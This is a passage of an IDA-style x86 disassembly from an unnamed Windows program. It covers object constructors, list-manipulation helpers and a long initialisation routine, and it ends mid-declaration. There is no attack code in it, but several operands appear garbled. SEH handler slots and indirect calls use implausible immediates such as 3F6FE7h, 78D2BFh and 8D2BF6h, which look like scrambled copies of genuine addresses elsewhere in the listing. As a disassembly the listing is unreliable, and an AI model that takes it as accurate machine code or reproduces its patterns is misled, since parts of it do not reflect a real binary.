; =============== S U B R O U T I N E =======================================
sub_416830 proc near ; CODE XREF: sub_401253j
push esi
mov esi, ecx
call sub_401190
lea ecx, [esi+4]
call sub_4016A9
mov dword ptr [esi], offset off_437070
mov eax, esi
pop esi
retn
sub_416830 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416860 proc near ; CODE XREF: sub_401B81j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_416860
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401190
lea ecx, [esi+4]
call sub_4016A9
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_4016A9
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_4016A9
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_437074
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_416860 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4168E0 proc near ; CODE XREF: sub_40106Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 3F6FE7h
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401190
lea ecx, [esi+4]
call sub_4016A9
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_4016A9
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_4016A9
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_4016A9
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_4016A9
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_437078
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4168E0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416980 proc near ; CODE XREF: sub_40123Fj
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
push ebx
push ebp
mov ebp, ds:dword_4B38CC
push esi
mov esi, ecx
push edi
xor bl, bl
mov byte ptr [esi+592A4h], 1
loc_416998: ; CODE XREF: sub_416980+E4j
test bl, bl
jnz loc_416A6E
mov al, [esi+487A2h]
test al, al
jnz short loc_4169AE
mov bl, 1
jmp short loc_4169C2
; ---------------------------------------------------------------------------
loc_4169AE: ; CODE XREF: sub_416980+28j
lea ecx, [esi+15Fh]
call sub_4017A3
test al, al
setz bl
test bl, bl
jz short loc_4169C9
loc_4169C2: ; CODE XREF: sub_416980+2Cj
mov byte ptr [esi+592A4h], 0
loc_4169C9: ; CODE XREF: sub_416980+40j
lea ecx, [esp+1Ch+var_C]
call sub_401F0F
lea edi, [esi+592FBh]
lea eax, [esp+1Ch+var_4]
push eax
mov ecx, edi
call sub_401E01
mov ecx, [eax]
lea edx, [esp+1Ch+var_8]
mov [esp+1Ch+var_C], ecx
push edx
mov ecx, edi
call sub_4012D0
push eax
lea ecx, [esp+20h+var_C]
call sub_401663
test al, al
jz short loc_416A4E
loc_416A04: ; CODE XREF: sub_416980+CCj
lea ecx, [esp+1Ch+var_C]
call sub_402077
mov ecx, [eax]
call sub_4016A4
lea ecx, [esp+1Ch+var_C]
call sub_402077
mov eax, [eax]
test eax, eax
jz short loc_416A2B
mov edx, [eax]
push 1
mov ecx, eax
call dword ptr [edx]
loc_416A2B: ; CODE XREF: sub_416980+A1j
lea ecx, [esp+1Ch+var_C]
call sub_401316
lea eax, [esp+1Ch+var_8]
mov ecx, edi
push eax
call sub_4012D0
push eax
lea ecx, [esp+20h+var_C]
call sub_401663
test al, al
jnz short loc_416A04
loc_416A4E: ; CODE XREF: sub_416980+82j
mov ecx, edi
call sub_4010A5
push 5FB7F3h
call ebp
mov al, [esi+592A4h]
test al, al
jnz loc_416998
test bl, bl
jz short loc_416A7B
loc_416A6E: ; CODE XREF: sub_416980+1Aj
pop edi
pop esi
pop ebp
mov esi, 85FB7Fh
pop ebx
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_416A7B: ; CODE XREF: sub_416980+ECj
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0Ch
retn
sub_416980 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416AE0 proc near ; CODE XREF: sub_4016C7j
var_1B4 = byte ptr -1B4h
var_19C = byte ptr -19Ch
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_416AE0
push eax
mov large fs:0, esp
sub esp, 1A8h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov ebp, 8D2BF6h
mov byte ptr [esi+592A4h], 1
call sub_4010A5
mov eax, [esp+1C4h+arg_4]
test eax, eax
jz short loc_416B20
push eax
jmp short loc_416B25
; ---------------------------------------------------------------------------
loc_416B20: ; CODE XREF: sub_416AE0+3Bj
push offset byte_4695FB
loc_416B25: ; CODE XREF: sub_416AE0+3Ej
lea ecx, [esi+592CFh]
call sub_401564
mov edi, [esp+1C4h+arg_0]
test edi, edi
jz short loc_416B3E
push edi
jmp short loc_416B43
; ---------------------------------------------------------------------------
loc_416B3E: ; CODE XREF: sub_416AE0+59j
push 634AFDh
loc_416B43: ; CODE XREF: sub_416AE0+5Cj
lea ecx, [esi+592E4h]
call sub_401564
push edi
lea ecx, [esi+3Eh]
call sub_401334
mov al, [esi+42h]
test al, al
jz short loc_416B6D
mov eax, [esi+43h]
lea ecx, [esi+152h]
push eax
call sub_4018A2
loc_416B6D: ; CODE XREF: sub_416AE0+7Cj
lea ecx, [esp+1C4h+var_19C]
push ecx
push 71A57Eh
call dword ptr ds:78D2BFh
call sub_401460
lea ecx, [esi+1BBEh]
call sub_401730
lea ecx, [esi+1B46h]
call sub_40191A
lea edi, [esi+15Fh]
mov ecx, edi
call sub_401C0D
mov ebx, ds:dword_4B38CC
push 3C695Fh
call ebx
mov ecx, edi
call sub_4011EF
push 1E34AFh
call ebx
mov al, [esi+48h]
test al, al
jnz short loc_416BD1
mov al, [esi+7C7h]
test al, al
jz short loc_416BDC
loc_416BD1: ; CODE XREF: sub_416AE0+E5j
lea ecx, [esi+591A9h]
call sub_40137F
loc_416BDC: ; CODE XREF: sub_416AE0+EFj
push 0F1A57h
call ebx
lea ebx, [esi+3F9h]
lea edi, [esi+1C58h]
push ebx
mov ecx, edi
call sub_401A64
mov ecx, edi
call sub_401172
mov al, [esi+77Eh]
test al, al
jz short loc_416C17
lea edx, [esi+71Ch]
push ebx
push edx
mov ecx, edi
call sub_40168B
loc_416C17: ; CODE XREF: sub_416AE0+126j
mov al, [esi+7C7h]
test al, al
jz short loc_416C3E
lea ebp, [esi+7F7h]
mov ecx, edi
push ebp
call sub_401E5B
test al, al
jnz short loc_416C3E
push ebx
push ebp
mov ecx, edi
call sub_401442
jmp short loc_416C4C
; ---------------------------------------------------------------------------
loc_416C3E: ; CODE XREF: sub_416AE0+13Fj
; sub_416AE0+151j
lea ebp, [esi+7F7h]
mov ecx, edi
push ebp
call sub_40186B
loc_416C4C: ; CODE XREF: sub_416AE0+15Cj
mov al, [esi+7C7h]
test al, al
jz short loc_416C71
mov al, [esi+48h]
test al, al
jnz short loc_416C71
push ebp
mov ecx, edi
call sub_401E7E
test al, al
jz short loc_416C71
push 0
call ds:dword_478D2B
loc_416C71: ; CODE XREF: sub_416AE0+174j
; sub_416AE0+17Bj ...
call sub_401DB1
lea ecx, [esi+168h]
call sub_401726
push eax
lea eax, [esp+1C8h+var_1B4]
push eax
call sub_401EBF
add esp, 8
push eax
lea ecx, [esi+592A5h]
mov [esp+1C8h+var_4], 0
call sub_401EAB
lea ecx, [esp+1C4h+var_1B4]
mov [esp+1C4h+var_4], 0FFFFFFFFh
call sub_4011F9
lea ebx, [esi+4878Bh]
mov ecx, ebx
call sub_40137F
lea ecx, [esi+48A75h]
call sub_40137F
lea ecx, [esi+1D29h]
call sub_401C58
lea ecx, [esi+1E6Fh]
call sub_401A00
lea ecx, [esi+48A9Eh]
call sub_40158C
mov ecx, ebx
call sub_401929
lea ecx, [esi+591BAh]
call sub_401E15
mov ecx, edi
call sub_401046
lea ecx, [esi+590E1h]
call sub_401A9B
lea ecx, [esi+590AFh]
call sub_401DC5
lea ecx, [esi+5916Fh]
call sub_40188E
mov ecx, esi
call sub_40123F
mov ecx, ebx
mov edi, eax
call sub_4016A4
call sub_401A2D
call dword ptr ds:23C695h
mov al, [esi+42h]
test al, al
jz short loc_416D5A
lea ecx, [esi+152h]
call sub_401BB8
loc_416D5A: ; CODE XREF: sub_416AE0+26Dj
mov ecx, [esp+1C4h+var_C]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 1B4h
retn 8
sub_416AE0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 0B0h dup(0CCh)
; ---------------------------------------------------------------------------
locret_416E30: ; CODE XREF: _294ADE7B:00402068j
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_416E50: ; CODE XREF: _294ADE7B:00401D89j
mov eax, [esp+0Ch]
push 0
push eax
mov ecx, 2D1E34h
call sub_4016C7
retn 10h
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416E80 proc near ; CODE XREF: sub_401A1Ej
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_402027
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4015A5
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_4013D9
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401F64
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
sub_416E80 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416EF0 proc near ; CODE XREF: sub_401A19j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401348
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
sub_416EF0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416F30 proc near ; CODE XREF: sub_402045j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_4012D0
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401E01
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_4014E7
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401EF1
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
sub_416F30 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416FA0 proc near ; CODE XREF: sub_401E01j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_40155F
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401C5D
mov eax, esi
pop esi
retn 4
sub_416FA0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416FE0 proc near ; CODE XREF: sub_4012D0j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401C5D
mov eax, esi
pop esi
retn 4
sub_416FE0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417010 proc near ; CODE XREF: sub_4010A5j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_4012D0
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401E01
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_4014E7
pop esi
add esp, 0Ch
retn
sub_417010 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417060 proc near ; CODE XREF: sub_401F0Fj
push esi
mov esi, ecx
call sub_4014C4
mov eax, esi
pop esi
retn
sub_417060 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417080 proc near ; CODE XREF: sub_402077j
mov eax, [ecx]
push eax
call sub_40114F
add esp, 4
retn
sub_417080 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4170A0 proc near ; CODE XREF: sub_401316j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_40155F
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_4170A0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4170D0 proc near ; CODE XREF: sub_401663j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_402081
neg al
sbb eax, eax
inc eax
retn 4
sub_4170D0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417100 proc near ; CODE XREF: sub_40193Dj
push esi
mov esi, ecx
mov eax, [esi+15h]
mov dword ptr [esi], offset off_43705C
test eax, eax
jle short loc_417117
push eax
call dword ptr ds:168F1Ah
loc_417117: ; CODE XREF: sub_417100+Ej
mov ecx, esi
call sub_401EC9
pop esi
retn
sub_417100 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417130 proc near ; CODE XREF: _294ADE7B:0040123Aj
; sub_4018E8j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_40193D
test [esp+4+arg_0], 1
jz short loc_417148
push esi
call sub_430332
add esp, 4
loc_417148: ; CODE XREF: sub_417130+Dj
mov eax, esi
pop esi
retn 4
sub_417130 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417160 proc near ; CODE XREF: sub_4016C2j
mov dword ptr [ecx], offset off_43707C
jmp sub_401EC9
sub_417160 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_417180: ; CODE XREF: _294ADE7B:loc_401843j
; _294ADE7B:00401FFFj
push esi
mov esi, ecx
call sub_4016C2
test byte ptr [esp+8], 1
jz short loc_417198
push esi
call sub_430332
add esp, 4
loc_417198: ; CODE XREF: _294ADE7B:0041718Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4171B0 proc near ; CODE XREF: sub_4017BCj
mov dword ptr [ecx], offset off_437088
add ecx, 4
jmp sub_401023
sub_4171B0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4171D0 proc near ; CODE XREF: sub_4013D9j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401785
test al, al
jz short loc_41722A
loc_4171E8: ; CODE XREF: sub_4171D0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_40114A
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401212
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401785
test al, al
jnz short loc_4171E8
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_41722A: ; CODE XREF: sub_4171D0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_4171D0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417260 proc near ; CODE XREF: sub_401F64j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401C30
retn 4
sub_417260 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417280 proc near ; CODE XREF: sub_4014E7j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401663
test al, al
jz short loc_4172DA
loc_417298: ; CODE XREF: sub_417280+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_40126C
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401FC3
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401663
test al, al
jnz short loc_417298
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_4172DA: ; CODE XREF: sub_417280+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_417280 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417310 proc near ; CODE XREF: sub_401348j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_401B36
mov edi, [esp+8+arg_0]
mov esi, eax
test edi, edi
jnz short loc_417325
mov edi, esi
loc_417325: ; CODE XREF: sub_417310+11j
push esi
call sub_40155F
mov [eax], edi
mov edi, [esp+0Ch+arg_4]
add esp, 4
test edi, edi
jnz short loc_41733A
mov edi, esi
loc_41733A: ; CODE XREF: sub_417310+26j
push esi
call sub_401A32
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
sub_417310 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417360 proc near ; CODE XREF: sub_401EF1j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_40139D
retn 4
sub_417360 endp
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417380 proc near ; CODE XREF: sub_40155Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_417380 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4173A0 proc near ; CODE XREF: sub_40114Fj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_4173A0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4173C0 proc near ; CODE XREF: sub_4014C4j
mov eax, ecx
retn
sub_4173C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4173E0 proc near ; CODE XREF: sub_401C5Dj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401F5F
mov eax, esi
pop esi
retn 4
sub_4173E0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417410 proc near ; CODE XREF: sub_402081j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_417410 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417440 proc near ; CODE XREF: sub_401212j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_40114A
mov ecx, eax
call sub_401B6D
mov esi, eax
push esi
call sub_40199C
push esi
mov ebx, eax
call sub_401B3B
mov ecx, [eax]
push ecx
call sub_40199C
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401B3B
push esi
mov ebx, eax
call sub_40199C
mov eax, [eax]
push eax
call sub_401B3B
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_4011E0
add esp, 1Ch
mov ecx, edi
push eax
call sub_4016BD
push esi
mov ecx, edi
call sub_401F64
mov eax, [edi+8]
mov edx, [esp+10h+arg_4]
dec eax
mov [edi+8], eax
mov eax, [esp+10h+arg_0]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
sub_417440 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417500 proc near ; CODE XREF: sub_401C30j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_430332
pop ecx
retn 8
sub_417500 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417520 proc near ; CODE XREF: sub_40114Aj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401DCF
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_417520 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417550 proc near ; CODE XREF: sub_401FC3j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_40126C
mov ecx, eax
call sub_401D93
mov esi, eax
push esi
call sub_40155F
push esi
mov ebx, eax
call sub_401A32
mov ecx, [eax]
push ecx
call sub_40155F
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401A32
push esi
mov ebx, eax
call sub_40155F
mov eax, [eax]
push eax
call sub_401A32
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_40114F
add esp, 1Ch
mov ecx, edi
push eax
call sub_4017F8
push esi
mov ecx, edi
call sub_401EF1
mov eax, [edi+8]
mov edx, [esp+10h+arg_4]
dec eax
mov [edi+8], eax
mov eax, [esp+10h+arg_0]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
sub_417550 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417610 proc near ; CODE XREF: sub_401A32j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_417610 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417630 proc near ; CODE XREF: sub_401B36j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401BF4
add esp, 8
retn 4
sub_417630 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417660 proc near ; CODE XREF: sub_40139Dj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_430332
pop ecx
retn 8
sub_417660 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417680 proc near ; CODE XREF: sub_401F5Fj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_417680 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4176A0 proc near ; CODE XREF: sub_40126Cj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401316
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_4176A0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4176D0 proc near ; CODE XREF: sub_4016BDj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_8
pop ecx
retn 4
sub_4176D0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4176F0 proc near ; CODE XREF: sub_4017F8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_5
pop ecx
retn 4
sub_4176F0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417710 proc near ; CODE XREF: sub_401D93j
mov eax, [ecx]
retn
sub_417710 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417770 proc near ; CODE XREF: sub_401F82j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417770
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_14], esi
call sub_401190
lea ecx, [esi+4]
call sub_4016A9
push 9
mov [esp+1Ch+var_4], 0
mov dword ptr [esi], offset off_437088
call sub_43034A
add esp, 4
mov [esp+18h+var_10], eax
test eax, eax
mov byte ptr [esp+18h+var_4], 1
jz short loc_4177DD
mov ecx, eax
call sub_401DD4
mov [esi+32h], eax
mov eax, esi
pop esi
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_4177DD: ; CODE XREF: sub_417770+4Fj
mov ecx, [esp+18h+var_C]
xor eax, eax
mov [esi+32h], eax
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
sub_417770 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417830 proc near ; CODE XREF: sub_40188Ej
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 65A3C6h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 14h
push 1
push 14h
push 13h
push 14h
push 5
lea eax, [esp+44h+var_24]
push 0Eh
mov esi, ecx
push eax
call sub_4018DE
add esp, 24h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_4015F5
add esi, 4
push eax
push esi
mov esi, 0F968Fh
call sub_401523
lea ecx, [esp+28h+var_24]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+28h+var_C]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
sub_417830 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4178D0 proc near ; CODE XREF: sub_401104j
var_2A4 = dword ptr -2A4h
var_2A0 = dword ptr -2A0h
var_29C = dword ptr -29Ch
var_298 = dword ptr -298h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_274 = byte ptr -274h
var_25C = byte ptr -25Ch
var_23C = byte ptr -23Ch
var_224 = byte ptr -224h
var_199 = byte ptr -199h
var_198 = byte ptr -198h
var_119 = byte ptr -119h
var_118 = byte ptr -118h
var_99 = byte ptr -99h
var_98 = byte ptr -98h
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
